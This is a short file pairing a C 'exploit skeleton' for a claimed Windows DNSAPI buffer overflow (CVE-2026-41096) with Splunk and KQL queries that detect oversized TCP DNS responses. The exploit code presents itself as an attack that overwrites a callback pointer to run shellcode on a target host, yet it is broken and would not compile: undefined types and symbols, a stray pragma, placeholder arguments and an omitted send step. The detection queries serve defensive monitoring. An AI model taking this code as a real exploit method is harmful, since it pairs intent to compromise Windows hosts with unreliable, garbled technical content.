/*********************************************************************
 *  Simple CVE-2026-41096 DNS exploit skeleton (C)
 *  -------------------------------------------------------------
 *  Author:   Mark Mallia
 *  Date:     May 15, 2026
 *
 *  What it does:
 *    - Builds a crafted DNS answer that overflows the Windows
 *      DNSAPI.dll buffer during parsing.
 *    - Sets the function pointer of dnsapi_parse_answer() to 
 *      point at our shellcode payload (payload starts at offset
 *      0x0008 in the packet).
 *********************************************************************/

#include <winsock2.h>
#include <windows.h>

#pragma pack(push,1)
typedef struct {
   BYTE  name[255];
} DNS_RESPONSE;
#pragma pack(pop)

typedef struct {
   DWORD  dwCallbackPtr;          /* attacker‑controlled code ptr */
   DWORD  dwDataSize;              /* size of the shellcode payload */
} DNS_API_DATA;

void __stdcall dnsapi_parse_answer(DNSAPI *p) { /* … */ }

#pragma pack(pop)

void __declspec(naked) exploit_dns_response(void)
{
    /* 1. Build the A record (payload) */
    DNS_RESPONSE *ans = malloc(sizeof(DNS_RESPONSE));
    memcpy(ans, "\xC0\x00", ...);            // the article explains overflow trigger

    /* 2. Compute size of the following AAAA chunk */
    DWORD dwSize = 4;                            // buffer‑size miscalc
    DWORD dwPayload = 0x100 + dwSize;           // fix’s correction: “Corrects memory boundary miscalculation”

    /* 3. Build final packet */
    DWORD totalLen = sizeof(DNSAPI) + sizeof(DNS_API_DATA);
    DNS_API_DATA *dnsApiData = malloc(totalLen);

    /* 4. Set callback pointer */
    dnsApiData->dwCallbackPtr = (DWORD)&exploited_code;

    /* 5. Send to the target Windows host */
    // ... code omitted for brevity …
}

`stream_dns`
| spath "query_type{}"
| eval qtype=mvjoin('query_type{}', ",")
| search protocol_stack="ip:tcp:dns"
| where bytes_out > 65000
| search qtype IN ("A","AAAA","SIG","KEY","RRSIG","TKEY")
| stats
    count,
    values(qtype) AS qtypes,
    max(bytes_out) AS max_bytes_out,
    values(query) AS queries,
    values(src_ip) AS src_ips,
    values(dest_ip) AS dest_ips
  by flow_id
| where count >= 1
| rename flow_id AS flow_id_or_session
| sort - max_bytes_out

CommonSecurityLog
| where DeviceVendor =~ "Microsoft"
   or DeviceProduct has "DNS"
| where Protocol =~ "tcp"
| where DestinationPort == 53
| where SentBytes > 65000 or ReceivedBytes > 65000
| summarize
    Events = count(),
    MaxBytes = max(max_of(SentBytes, ReceivedBytes)),
    SrcIPs = make_set(SourceIP, 10),
    DstIPs = make_set(DestinationIP, 10)
  by bin(TimeGenerated, 5m)
| where Events > 0